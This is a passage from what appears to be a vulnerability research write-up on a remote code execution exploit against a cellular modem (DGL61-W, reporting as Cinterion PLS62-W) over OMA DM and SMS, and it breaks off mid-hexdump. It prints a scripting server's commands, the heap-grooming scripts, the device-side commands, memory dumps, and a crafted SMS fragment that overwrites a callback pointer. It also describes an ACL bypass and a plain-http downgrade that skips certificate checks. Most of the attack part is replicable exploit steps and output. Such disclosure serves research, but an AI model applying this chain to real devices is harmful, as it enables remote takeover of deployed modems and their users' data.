ALERT command with given data ``` alert data ``` Additionally, several commands have been also implemented that facilitate the handling of DMS sessions and inclusion of arbitrary data in WBXML: - put given data in WBXML message depicting SyncML commands ``` rawdata data ``` - display given prompt chars and wait for user key press ``` wait prompt ``` - signal to the server that is should end a session with the client (mark the end of commands for the current session) ``` endsession ``` - do not process any other commands present in a script file ``` stop ``` Further implementation details of scripting commands can be found in a code of `ScriptCmd` class (`dmsserver/src/ScriptCmd.java` file). ##### DATA FORMATTERS In order to be able to configure data provided to various scripting commands in a flexible way (their args denoted as `data`, `data1` or `data2`), several data formatters (handlers) have been implemented by the DMS server. They are summarized below: - indicate a fixed, target size of the output data ``` size data_size ``` - fill the content of the output data with a given character ``` fill character ``` - append a given sequence of hex values to the output data ``` hex hex_data ``` - append a given string to the output data ``` str string ``` - append node uri to the output data ``` uri ``` - append the content of file to the output data ``` file file ``` Actual implementation details of data formatteres can be found in a code of `Data` class (`dmsserver/src/Data.java` file). ##### DMS SCRIPTING SAMPLE DMS server loads and processes script file provided as an argument during its launch. It resolves the scripting commands included in a script file as a sequence of DMS sessions embedying SyncML commands. For instance, processing of the following script commands: ``` #session 1 get ./DevInfo/Man get ./DevInfo/Mod get ./DevDetail/SwV setacl ./DMS Get=*&Replace=*&Add=* endsession #STAGE 1 - SETUP HEAP addseq ./DMS/24 4 size:0x270,fill:.,hex:01bbaa86,uri 1 endsession ``` will lead to DMS server splitting them into two separate management sessions: ``` [SESSION 1] Get ./DevInfo/Man Get ./DevInfo/Mod Get ./DevDetail/SwV Replace ./DMS?prop=ACL Get=*&Replace=*&Add=* [SESSION 2] Sequence Add ./DMS/24000 chr text/plain size:0x270,fill:.,hex:01bbaa86,uri Add ./DMS/24001 chr text/plain size:0x270,fill:.,hex:01bbaa86,uri Add ./DMS/24002 chr text/plain size:0x270,fill:.,hex:01bbaa86,uri Add ./DMS/24003 chr text/plain size:0x270,fill:.,hex:01bbaa86,uri ``` The `addseq` scripting command will be expanded into four SyncML ADD commands with properly adjusted uri values (denoting consecutive nodes). The data formatter for `./DMS/24000` node will be expanded to the following value: ``` Add ./DMS/24000 chr text/plain size:0x270,fill:.,hex:01bbaa86,uri data 0000: 01 bb aa 86 2e 2f 44 4d 53 2f 32 34 30 30 30 2e ...../DMS/24000. 0010: 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e ................ 0020: 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e ................ 0030: 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e ................ 0040: 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e ................ 0050: 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e ................ ... 0260: 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e ................ ``` The `hex` formatter used in the beginning of a node data is in particular useful. It can help in a discovery and investigation of heap chunks allocated on a device through DMS session. The `heapstate` shell command can be used for that purpose (to pattern match on the first four bytes of heap chunks' content): ``` telcin> telcin> heapstate -p 0x81df46d8 -m 0x86aabb01/0xffffffff [HEAP STATE] code: 0x83c53e70 buf: 0x83c9a080 size: 0x00000504 (107) [0000] 0x81f48580 size 0x00018fff busy [0001] 0x83c28ea0 size 0x00000252 busy [0002] 0x83c29298 size 0x00000251 busy [0003] 0x83c29508 size 0x00000252 busy [0004] 0x83c30850 size 0x00000a22 busy [0005] 0x83c31290 size 0x00000a21 busy [0006] 0x83c31cd0 size 0x00000a22 busy [0007] 0x83c32710 size 0x00000a21 busy [0008] 0x83c33150 size 0x00000a22 busy [0009] 0x83c33b90 size 0x00000a21 busy [000a] 0x83c345d0 size 0x00000a22 busy [000b] 0x83c35010 size 0x00000a21 busy [000c] 0x83c35a50 size 0x00000a22 busy [000d] 0x83c36668 size 0x00000921 busy [000e] 0x83c36fa8 size 0x00000922 busy [000f] 0x83c378e8 size 0x00000921 busy [0010] 0x83c38228 size 0x00000922 busy [0011] 0x83c38f08 size 0x00000821 busy [0012] 0x83c39748 size 0x00000822 busy [0013] 0x83c3a4a8 size 0x00000251 busy [0014] 0x83c3b350 size 0x00000921 busy [0015] 0x83c3bc90 size 0x00000922 busy [0016] 0x83c3c5d0 size 0x00000921 busy [0017] 0x83c3cf10 size 0x00000922 busy [0018] 0x83c3d850 size 0x00000921 busy [0019] 0x83c3e190 size 0x00000922 busy ... ``` #### EXPLOIT POC This paragraph describes a successful code setup leading to a remote code execution on a target DGL61-W device through the combination of the issues identified in its software, ##### ENVIRONMENT SETUP Initially, an attempt was made to build a Proof of Concept code for Issue 18 with the use of local means (local socket proxy server). The goal was to proceed with the testing / exploit construction in a local dev environment, not the environment of a mobile network operator. Unfortunately, this was not successful. The reason was that device didn't seem to be binding / exposing any network comm on localhost (`127.0.0.1`) or even address acquired from the network (this could be related to the mobile protocol / PDP though). As a result, the POC assumes that communication with attacker's DMS server (the assumption that Issues 12, 14 and 15 are exploited). To mimic this exploitation prerequisite, OMA DM server config has been changed with the help of `omadmcfg` command. The `http://83.8.xxx.yyy:443` configuration url was used to denote Cingular server location. The host at public url location forwarded traffic from port 443 to local port 8080 where DMS server has been set up. The `http` in the url is required, because for `https` the server certificate is checked and the connection is dropped. This is illustrated by the log obtained at the time of setting up OMA DM connection from a device to `https://agsecurityresearch.com`: ``` SSL Debug, securesocket, ctx_reuse = 1 SSL Debug, securesocket, i = 6 securesocket_connect, sid = 6 SSL Debug : state = 0x5000 SSL Debug : state = 0x1110 SSL Debug : state = 0x1120 securesocket_connect, sid = 6 SSL Debug : state = 0x1120 SCC: T:27 jBlocked OFF SCC: T:27 M: OFFLINE-CMD, SCC: T:27 L:6 R: OK Command:-[C-AT] Mode: 2, CNMIoveride?=0, msghandler?=0, msg?= securesocket_connect, sid = 6 SSL Debug : state = 0x1120 Cipher selected for communication ============ AES128-GCM-SHA256 SSL Debug, ssl3_get_server_hello, alg2 = 0x8080 SSL Debug s->hit = 0 SSL Debug : state = 0x1130 SSL Debug algorithm auth = 1, algorithm key = 1 SSL Debug ssl3_get_server_certificate: n = 4223, mtype = 11 TLS: Server Certs Name of Certifcate: /CN=firebaseapp.com TLS: Server Subject of certifcate TLS: firebaseapp.com TLS: Server Issuer of certifcate TLS: GTS CA 1D4 TLS: Google Trust Services LLC TLS: US TLS: Server Certs Name of Certifcate: /C=US/O=Google Trust Services LLC/CN=GTS CA 1D4 TLS: Server Subject of certifcate TLS: GTS CA 1D4 TLS: Google Trust Services LLC TLS: US TLS: Server Issuer of certifcate TLS: GTS Root R1 TLS: Google Trust Services LLC TLS: US TLS: Server Certs Name of Certifcate: /C=US/O=Google Trust Services LLC/CN=GTS Root R1 TLS: Server Subject of certifcate TLS: GTS Root R1 TLS: Google Trust Services LLC TLS: US TLS: Server Issuer of certifcate TLS: GlobalSign Root CA TLS: Root CA TLS: GlobalSign nv-sa TLS: BE SSL Debug : s->verify_mode = 1 SSL Debug, IFX_TLS_X509_verify_cert, ok = 0 SSL Debug, IFX_TLS_X509_verify_cert, ok = 0 SSL Debug, IFX_TLS_X509_verify_cert, ok = 0 SSL Debug, In pkey_set_type, type = 6 ssl_verify_alarm_type: TLS failure. Err 20. al = 48 ERR_put_error: TLS failure: lib 20, func 144, reason 134 ssl3_get_server_certificate: TLS failure. Err 20. al = 48 ``` The received alert code 48 denotes "unknown CA". But, this can be easily bypassed with the use of `http` protocol. Taking into account the fact that server certificate is checked for default OMA DM connection + the nature of the OMA DM session (which can expose secrets, etc.), the ability to use `http` for OMA DM should be potentially treated as another issue. As for the test DMS server, it supports some scripting language described previously, which can be used to configure the content of SyncML messages sent to the device. The OMA DM tree (`dmtree\dmtree.txt` file) indicates no ACL permission to add new nodes to the tree (missing Add permission): ``` * ./DMS addr: 0x81f79f50 type: 1 acl: Get=*&Replace=* uri: ./DMS value: AppAuth/AddrType/Cingular/CingularNetwPin/CingularThird ``` This can be easily bypassed by issuing proper SyncML message of which goal is to set ACL of `./DMS` node: ``` setacl ./DMS Get=*&Replace=*&Add=* ``` The `./DMS` node is used as a target due to the following: - it has non-empty `setFunc` handler ``` telcin> dmtree [DMTREE] - addr 0x81ede8f8 - mo_mgr 0x81f728d0 - serverid null [MOMGR] - addr 0x81f728d0 - root 0x81edd7f0 - max_depth 0x0000 - max_tot_len 0x0000 - last_uri null - last_plugin 0x00000000 * NODE . addr 0x81edd7f0 plugin 0x81edd820 * NODE DMS addr 0x81f7a630 plugin 0x81f7a680 * NODE DevInfo addr 0x81f77330 plugin 0x81f77360 * NODE DevDetail addr 0x81f76600 plugin 0x81f74040 telcin> dmplugin 0x81f7a680 [PLUGIN] - addr 0x81f7a680 - iface 0x81f7a5c8 - data 0x81f79f50 - container 0x81f7a630 [INTERFACE] - addr 0x81f7a5c8 - base_uri ./DMS - initFunc 0x86bd1f44 - closeFunc 0x86bde2ec - isNodeFunc 0x86bd1f40 - findURNFunc 0x86bd1ee0 - getFunc 0x86bd1c94 - setFunc 0x86bd1c84 <---- NON EMPTY - getACLFunc 0x86bd1c80 - setACLFunc 0x86bd1be8 - renameFunc 0x00000000 - deleteFunc 0x00000000 - execFunc 0x00000000 ``` - its node data correspond directly to memoty allocations (data is not written to flash). The ACL issue is itself quite interesting. So, there are nodes, which have ACL set to certain values and some of these indicate no ability to add or replace nodes (see `data/dmtree.txt` file). But, a single Replace ACL is sufficient to change ACLs all along the DMS root tree chierarchy. In other words, ACL permissions do not matter as long as the DMS tree is not made read only (!). As such, this manifests some inconsistency in the way ACLs work and potentially constitutes a security issue too. ##### PHASE 1 - PREPARING HEAP LAYOUT The DMS server was started and the following script file was used by it (`dmsserver/exp1.dms`): ``` #session 1 get ./DevInfo/Man get ./DevInfo/Mod get ./DevDetail/SwV setacl ./DMS Get=*&Replace=*&Add=* endsession #STAGE 1 - SETUP HEAP addseq ./DMS/24 4 size:0x270,fill:.,hex:01bbaa86,uri 1 endsession #remove large free blocks addseq ./DMS/82 10 size:0x820,fill:.,hex:01bbaa86,uri 1 endsession #remove large free blocks addseq ./DMS/92 10 size:0x920,fill:.,hex:01bbaa86,uri 1 endsession #remove large free blocks addseq ./DMS/a2 10 size:0xa20,fill:.,hex:01bbaa86,uri 1 endsession #remove large free blocks addseq ./DMS/b2 10 size:0xb20,fill:.,hex:01bbaa86,uri 1 endsession #remove large free blocks addseq ./DMS/f2 10 size:0xf20,fill:.,hex:01bbaa86,uri 1 endsession #release 240 blocks replseq ./DMS/24 4 size:0x250,fill:.,hex:01bbaa86,uri 1 endsession #STAGE 2 - MAKE SPACE (size 0x2c4 = 4*0xb1) #split main block replace ./DMS/f2005 size:0xdac,fill:.,hex:01bbaa86,uri add ./DMS/space1 chr text/plain size:0x2c3,fill:.,hex:01bbaa86,uri endsession #STAGE 3 - MAKE SPACE (size 0x54) #split main block replace ./DMS/f2006 size:0xeed,fill:.,hex:01bbaa86,uri endsession stop ``` The content of the above script file was discovered while playing with different SyncML messages, their sequence, etc. At the device end, the following command have been executed (`scripts\exp1.scr` file): ``` recvdmmsg -n Cingular sleep 5000 recvdmmsg -n Cingular sleep 5000 recvdmmsg -n Cingular sleep 5000 recvdmmsg -n Cingular sleep 5000 recvdmmsg -n Cingular sleep 5000 recvdmmsg -n Cingular sleep 5000 recvdmmsg -n Cingular sleep 5000 recvdmmsg -n Cingular sleep 5000 recvdmmsg -n Cingular sleep 5000 recvfrag -f 1/4 -i 1 -s fragment1 sleep 1000 recvfrag -f 2/4 -i 1 -s fragment2 memory device smsfrags recvdmmsg -n Cingular sleep 5000 smsfrags ``` The script simulate reception of arbitrary OMA DM Proviioning (`recvdmmgs`) and SMS fragments (`recvfrag`). As a result of the scripts execution, there are 10 sessins in total handled by DMS server. The last `smsfrags` command executed on a device shows details regarding memory region that got allocated for SMS fragments data: ``` telcin> smsfrags [SMS FRAGMENTS] addr: 0x817030bc fragnum: 02 refid: 01 totalfrags: 04 concatmem: 0x83cd3318 size 0x000002c4 [4 fragments ] ``` Inspecting the heap chunks chain from the `concatmem`, one can see that it is composed of the `/DMS/f2006` node data: ``` telcin> ptrinfo 0x83cd3318 [0x83cd3318] start: 0x83cd3300 size: 0x000002f0 alloc_size: 0x000002c4 left: 0x00000014 prev: 0x83cd2538 [0x83cd2550] next: 0x83cd35f0 [0x83cd3608] status: busy telcin> dmem 0x83cd3608 0x10 83cd3608: 01 bb aa 86 2e 2f 44 4d 53 2f 66 32 30 30 36 2e ...../DMS/f2006. telcin> ptrinfo 0x83cd3608 [0x83cd3608] start: 0x83cd35f0 size: 0x00000f08 alloc_size: 0x00000eee left: 0x00000002 prev: 0x83cd3300 [0x83cd3318] next: 0x83cd44f8 [0x83cd4510] status: busy telcin> dmem 0x83cd4510 0x10 83cd4510: 01 bb aa 86 2e 2f 44 4d 53 2f 66 32 30 30 36 2e ...../DMS/f2006. telcin> ptrinfo 0x83cd4510 [0x83cd4510] start: 0x83cd44f8 size: 0x00000f08 alloc_size: 0x00000eef left: 0x00000001 prev: 0x83cd35f0 [0x83cd3608] next: 0x83cd5400 [0x83cd5418] status: busy ``` And, there is a free chunk immediately following it: ``` telcin> ptrinfo 0x83cd5418 [0x83cd5418] start: 0x83cd5400 size: 0x00000070 alloc_size: 0x00000000 left: 0x00000058 prev: 0x83cd44f8 [0x83cd4510] next: 0x83cd5470 [0x83cd5488] status: free ``` The free chunk is able to accomodate 0x58 bytes of data. This is intentional as the `dmstruc` data (containig callback pointer for SyncML commands) is of 0x54 bytes size: ``` ROM:86BE07EC agsr_alloc_omadm_struct ; CODE XREF: agsr_omadmclient_session_init+50^p ROM:86BE07EC ; ROM:86BC38BC^p ROM:86BE07EC MOV R0, #0x54 ; 'T' ROM:86BE07F0 PUSH {R4,LR} ROM:86BE07F4 BL agsr_OmadmMalloc_0 ROM:86BE07F8 MOVS R4, R0 ROM:86BE07FC BEQ loc_86BE087C ROM:86BE0800 MOV R1, #0x54 ; 'T' ROM:86BE0804 BL agsr_memset_with_zero ROM:86BE0808 LDR R0, =agsr_omadm_prv_start_message_cb ROM:86BE080C LDR R1, =sub_86BE0044 ; -> alert message ?? ROM:86BE0810 STR R0, [R4] ROM:86BE0814 LDR R0, =agsr_omadm_prv_end_message_cb ROM:86BE0818 STR R0, [R4,#4] ROM:86BE081C LDR R0, =agsr_omadm_prv_start_atomic_cb ROM:86BE0820 STR R0, [R4,#0x10] ROM:86BE0824 LDR R0, =agsr_omadm_prv_end_atomic_cb ROM:86BE0828 STR R0, [R4,#0x14] ROM:86BE082C LDR R0, =agsr_omadm_prv_start_sequence_cb ROM:86BE0830 STR R0, [R4,#0x18] ROM:86BE0834 LDR R0, =agsr_omadm_prv_end_sequence_cb ROM:86BE0838 STR R0, [R4,#0x1C] ROM:86BE083C LDR R0, =agsr_omadm_prov_do_generic_cmd_cb ROM:86BE0840 STRD R0, R1, [R4,#0x20] ROM:86BE0844 LDR R1, =agsr_omadm_prv_exec_cmd_cb ROM:86BE0848 STR R1, [R4,#0x40] ROM:86BE084C LDR R1, =agsr_omadm_prv_get_cmd_cb ``` ##### PHASE 2 - FILLING THE OMADMSTRUC HOLE The DMS server was started again, this time with the use of the following script file (`dmsserver/exp2.dms`): ``` #send payload wait press key to send payload alert alertdata rawdata file:codeexec.dat endsession stop ``` In the next step, another DMS server session was triggered by simulating the reception of OMA DM Provisionin message: ``` telcin> run exp2.scr telcin> telcin> recvdmmsg -n Cingular SMS - FirstOctet 00000000: 74 t - Addr: +48xxxxxxxx 00000000: 0b 91 84 xx xx xx xx xx ........ - PID 00000000: 00 . - DCS 00000000: 14 . - TimeStamp 00000000: 17 03 06 13 32 1b 04 ....2.. - UserData * hdr len 06 00000000: 05 04 11 22 33 44 ..."3D * ud len (with hdr) 2d 00000000: 01 06 03 c4 af 87 00 00 00 00 00 00 00 00 00 00 ................ 00000010: 00 00 00 00 00 00 02 d8 00 00 00 12 34 08 43 69 ............4.Ci 00000020: 6e 67 75 6c 61 72 ngular - DM Push * transaction_id 01 * PDU type 06 * headers c4 af 87 - DM Data * digest 00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ * version 0b * UImode 01 * initiator 01 * future_use 00 * server_id Cingular OS MSG 00000000: 48 07 91 84 05 21 00 77 f7 74 0b 91 84 xx xx xx H....!.w.t...... 00000010: xx xx 00 14 17 03 06 13 32 1b 04 2d 06 05 04 11 ........2..-.... 00000020: 22 33 44 01 06 03 c4 af 87 00 00 00 00 00 00 00 "3D............. 00000030: 00 00 00 00 00 00 00 00 00 02 d8 00 00 00 12 34 ...............4 00000040: 08 43 69 6e 67 75 6c 61 72 .Cingular SMS_RECV_FUN: send DR_SM_UPDATE_REQ to atc:1 task res: 0x00000000 ``` DMS Server console shows successfully established OMA DM connection with a client device: ``` ## Local HTTP Server # ## (c) SECURITY EXPLORATIONS 2018 Poland # ## http://www.security-explorations.com # ## (c) AG Security Research 2019-2022 Poland # ## http://www.agsecurityresearch.com # ## # [SESSION 1] Wait press key to send payload Alert alertdata Rawdata file:codeexec.dat HTTP server [class HTTPServer$SEServer] listening on: 192.168.1.100:8080 [/37.47.129.209] POST / Accept:[*/*] Host:[83.8.27.183:443] User-agent:[IMC_OMADM_LIBDM] Content-type:[application/vnd.syncml.dm+wbxml] Content-length:[504] ############################################################ ## SESSION 0/1 ############################################################ - MSG FROM CLIENT data 0000: 02 a4 01 6a 00 6d 6c 71 03 31 2e 32 00 01 72 03 ...j.mlq.1.2..r. 0010: 44 4d 2f 31 2e 32 00 01 65 03 33 34 31 32 00 01 DM/1.2..e.3412.. 0020: 5b 03 31 00 01 6e 57 03 68 74 74 70 3a 2f 2f 38 [.1..nW.http://8 0030: 33 2e 38 2e 32 37 2e 31 38 33 3a 34 34 33 00 01 3.8.27.183:443.. 0040: 01 67 57 03 49 4d 45 49 3a 33 35 31 32 34 39 39 .gW.IMEI:3512499 0050: 35 34 38 39 36 30 38 38 00 01 01 4e 5a 00 01 47 54896088...NZ..G 0060: 03 62 36 34 00 01 53 03 73 79 6e 63 6d 6c 3a 61 .b64..S.syncml:a 0070: 75 74 68 2d 6d 64 35 00 01 01 00 00 4f 03 31 47 uth-md5.....O.1G 0080: 47 73 71 70 74 71 43 37 56 4a 64 6f 42 38 70 41 GsqptqC7VJdoB8pA 0090: 6e 4d 67 51 3d 3d 00 01 01 5a 00 01 4c 03 31 36 nMgQ==...Z..L.16 00a0: 33 38 34 00 01 01 01 00 00 6b 46 4b 03 31 00 01 384......kFK.1.. 00b0: 4f 03 31 32 30 30 00 01 01 60 4b 03 32 00 01 54 O.1200....K.2..T 00c0: 67 57 03 2e 2f 44 65 76 49 6e 66 6f 2f 44 6d 56 gW../DevInfo/DmV 00d0: 00 01 01 5a 00 01 47 03 63 68 72 00 01 53 03 74 ...Z..G.chr..S.t 00e0: 65 78 74 2f 70 6c 61 69 6e 00 01 01 00 00 4f 03 ext/plain.....O. 00f0: 31 2e 32 00 01 01 54 67 57 03 2e 2f 44 65 76 49 1.2...TgW../DevI 0100: 6e 66 6f 2f 4c 61 6e 67 00 01 01 5a 00 01 47 03 nfo/Lang...Z..G. 0110: 63 68 72 00 01 53 03 74 65 78 74 2f 70 6c 61 69 chr..S.text/plai 0120: 6e 00 01 01 00 00 4f 03 45 6e 67 6c 69 73 68 00 n.....O.English. 0130: 01 01 54 67 57 03 2e 2f 44 65 76 49 6e 66 6f 2f ..TgW../DevInfo/ 0140: 44 65 76 49 64 00 01 01 5a 00 01 47 03 63 68 72 DevId...Z..G.chr 0150: 00 01 53 03 74 65 78 74 2f 70 6c 61 69 6e 00 01 ..S.text/plain.. 0160: 01 00 00 4f 03 49 4d 45 49 3a 33 35 31 32 34 39 ...O.IMEI:351249 0170: 39 35 34 38 39 36 30 38 38 00 01 01 54 67 57 03 954896088...TgW. 0180: 2e 2f 44 65 76 49 6e 66 6f 2f 4d 61 6e 00 01 01 ./DevInfo/Man... 0190: 5a 00 01 47 03 63 68 72 00 01 53 03 74 65 78 74 Z..G.chr..S.text 01a0: 2f 70 6c 61 69 6e 00 01 01 00 00 4f 03 43 69 6e /plain.....O.Cin 01b0: 74 65 72 69 6f 6e 00 01 01 54 67 57 03 2e 2f 44 terion...TgW../D 01c0: 65 76 49 6e 66 6f 2f 4d 6f 64 00 01 01 5a 00 01 evInfo/Mod...Z.. 01d0: 47 03 63 68 72 00 01 53 03 74 65 78 74 2f 70 6c G.chr..S.text/pl 01e0: 61 69 6e 00 01 01 00 00 4f 03 50 4c 53 36 32 2d ain.....O.PLS62- 01f0: 57 00 01 01 01 12 01 01 W....... [SyncML] * wbxml_ver: 02 * publicid: 00001201 [-//SYNCML//DTD SyncML 1.2//EN] * charset: 6a strtable [0 bytes] 1.2 DM/1.2 3412 1 http://83.8.27.183:443 IMEI:351249954896088 b64 syncml:auth-md5 1GGsqptqC7VJdoB8pAnMgQ== 16384 1 1200 2 ./DevInfo/DmV chr text/plain 1.2 ./DevInfo/Lang chr text/plain English ./DevInfo/DevId chr text/plain IMEI:351249954896088 ./DevInfo/Man chr text/plain Cinterion ./DevInfo/Mod chr text/plain PLS62-W ``` What's important is that this time the server waits for user input (key press before the server sends the request to the device as depicted by the wait command) Inspection of the previously free heap chunk indicates that it got allocated for the omadm struc callbacks structure: ``` telcin> ptrinfo 0x83cd5418 [0x83cd5418] start: 0x83cd5400 size: 0x00000070 alloc_size: 0x00000054 left: 0x00000004 prev: 0x83cd44f8 [0x83cd4510] next: 0x83cd5470 [0x83cd5488] status: busy telcin> dmstruc OMADM tree: 0x81ede8d8 struc addr: 0x83c6bf10 ptr table: 0x83cd5418 telcin> dmem 0x83cd5418 0x54 83cd5418: c0 fd bd 86 a4 ff bd 86 00 00 00 00 00 00 00 00 ................ 83cd5428: ac ff bd 86 ec ff bd 86 f4 ff bd 86 10 00 be 86 ................ 83cd5438: fc fb bd 86 44 00 be 86 fc fb bd 86 b0 01 be 86 ....D........... 83cd5448: 00 00 00 00 38 05 be 86 fc fb bd 86 fc fb bd 86 ....8........... 83cd5458: 58 04 be 86 00 00 00 00 dc 07 be 86 e4 07 be 86 X............... 83cd5468: 00 00 00 00 .... ``` The contente of the memory can be inspected, it indicates the desired layout for Issue 18 exploitation (concatmem followed by `/DMS/f2006` node data and omadm callbacks structure): ``` telcin> dmem 0x83cd3318 0x2800 83cd3318: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ CONCATMEM (MAX 4 parts) 83cd3328: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 83cd3338: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ ... 83cd33b8: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 83cd33c8: 00 2a 07 91 84 05 21 00 77 f7 70 0b 91 84 xx xx .*....!.w.p..... SMS FRAGMENT2 BODY 83cd33d8: xx xx xx 00 14 17 03 06 13 31 21 04 0f 05 00 03 .........1!..... 83cd33e8: 01 04 02 66 72 61 67 6d 65 6e 74 32 00 00 00 00 ...fragment2.... 83cd33f8: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 83cd35c8: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 83cd35d8: 00 00 00 00 44 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e ....D........... 83cd35e8: 00 00 44 00 00 00 00 00 44 33 22 11 f1 02 00 00 ..D.....D3"..... NODE /DMS/2006 83cd35f8: a2 73 ea 55 09 0f 00 00 ee 0e 00 00 01 00 40 00 .s.U..........@. 83cd3608: 01 bb aa 86 2e 2f 44 4d 53 2f 66 32 30 30 36 2e ...../DMS/f2006. 83cd3618: 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e ................ 83cd3628: 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e ................ ... 83cd44c8: 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e ................ 83cd44d8: 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e ................ 83cd44e8: 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 00 44 2e ..............D. 83cd44f8: 44 33 22 11 09 0f 00 00 a3 73 ea 55 09 0f 00 00 D3"......s.U.... NODE /DMS/2006 (MIRROR) 83cd4508: ef 0e 00 00 01 00 40 00 01 bb aa 86 2e 2f 44 4d ......@....../DM 83cd4518: 53 2f 66 32 30 30 36 2e 2e 2e 2e 2e 2e 2e 2e 2e S/f2006......... 83cd4528: 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e ................ ... 83cd53c8: 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e ................ 83cd53d8: 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e ................ 83cd53e8: 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e ................ 83cd53f8: 2e 2e 2e 2e 2e 00 00 44 44 33 22 11 09 0f 00 00 .......DD3"..... OMADM CALLBACK STRUCT 83cd5408: 70 56 aa 55 71 00 00 00 54 00 00 00 01 00 00 00 pV.Uq...T....... 83cd5418: c0 fd bd 86 a4 ff bd 86 00 00 00 00 00 00 00 00 ................ 83cd5428: ac ff bd 86 ec ff bd 86 f4 ff bd 86 10 00 be 86 ................ 83cd5438: fc fb bd 86 44 00 be 86 fc fb bd 86 b0 01 be 86 ....D........... 83cd5448: 00 00 00 00 38 05 be 86 fc fb bd 86 fc fb bd 86 ....8........... 83cd5458: 58 04 be 86 00 00 00 00 dc 07 be 86 e4 07 be 86 X............... 83cd5468: 00 00 00 00 44 c0 c6 83 44 33 22 11 71 00 00 00 ....D...D3".q... NODE /DMS/2007 83cd5478: 0d 74 ea 55 41 0f 00 00 21 0f 00 00 01 00 40 00 .t.UA...!.....@. 83cd5488: 01 bb aa 86 2e 2f 44 4d 53 2f 66 32 30 30 37 2e ...../DMS/f2007. 83cd5498: 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e ................ 83cd54a8: 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e ................ ``` The above layout was *planned*. It is the result of the commands received from a remote server. The goal of the layout is to make SMS handling issue able to overwrite omadmstruc pointers. ##### PHASE 3 - OVERWRITE OF A FUNCTION POINTER In the next phase (while OMA DM server is pending with the response), an exploit frag is generated and its reception simulated: ``` telcin> run exp3.scr telcin> telcin> genexpfrag 0x86048099 EXPLOIT_FRAG 0000: 45 58 50 4c 4f 49 54 5f 46 52 41 47 00 00 00 00 EXPLOIT_FRAG.... 0010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0040: 00 00 00 00 00 00 00 44 33 22 11 09 0f 00 00 70 .......D3".....p 0050: 56 aa 55 71 00 00 00 54 00 00 00 01 00 00 00 c0 V.Uq...T........ 0060: fd bd 86 a4 ff bd 86 00 00 00 00 00 00 00 00 ac ................ 0070: ff bd 86 ec ff bd 86 f4 ff bd 86 10 00 be 86 fc ................ 0080: fb bd 86 99 80 04 86 fc fb bd 86 b0 01 be 86 ............... telcin> telcin> recvfrag -f 48/70 -i 1 -d $EXPLOIT_FRAG fragment 48/70, id 00000001 data 00000000: 45 58 50 4c 4f 49 54 5f 46 52 41 47 00 00 00 00 EXPLOIT_FRAG.... 00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000040: 00 00 00 00 00 00 00 44 33 22 11 09 0f 00 00 70 .......D3".....p 00000050: 56 aa 55 71 00 00 00 54 00 00 00 01 00 00 00 c0 V.Uq...T........ 00000060: fd bd 86 a4 ff bd 86 00 00 00 00 00 00 00 00 ac ................ 00000070: ff bd 86 ec ff bd 86 f4 ff bd 86 10 00 be 86 fc ................ 00000080: fb bd 86 99 80 04 86 fc fb bd 86 b0 01 be 86 ............... SMS - FirstOctet 00000000: 70 p - Addr: +48xxxxxxxx 00000000: 0b 91 84 xx xx xx xx xx ........ - PID 00000000: 00 . - DCS 00000000: 14 . - TimeStamp 00000000: 17 03 06 13 33 0c 04 ....3.. - UserData * hdr len 05 00000000: 00 03 01 46 30 ...F0 * ud len (with hdr) 95 00000000: 45 58 50 4c 4f 49 54 5f 46 52 41 47 00 00 00 00 EXPLOIT_FRAG.... 00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000040: 00 00 00 00 00 00 00 44 33 22 11 09 0f 00 00 70 .......D3".....p 00000050: 56 aa 55 71 00 00 00 54 00 00 00 01 00 00 00 c0 V.Uq...T........ 00000060: fd bd 86 a4 ff bd 86 00 00 00 00 00 00 00 00 ac ................ 00000070: ff bd 86 ec ff bd 86 f4 ff bd 86 10 00 be 86 fc ................ 00000080: fb bd 86 99 80 04 86 fc fb bd 86 b0 01 be 86 ............... OS MSG 00000000: b0 07 91 84 05 21 00 77 f7 70 0b 91 84 xx xx xx .....!.w.p...... 00000010: xx xx 00 14 17 03 06 13 33 0c 04 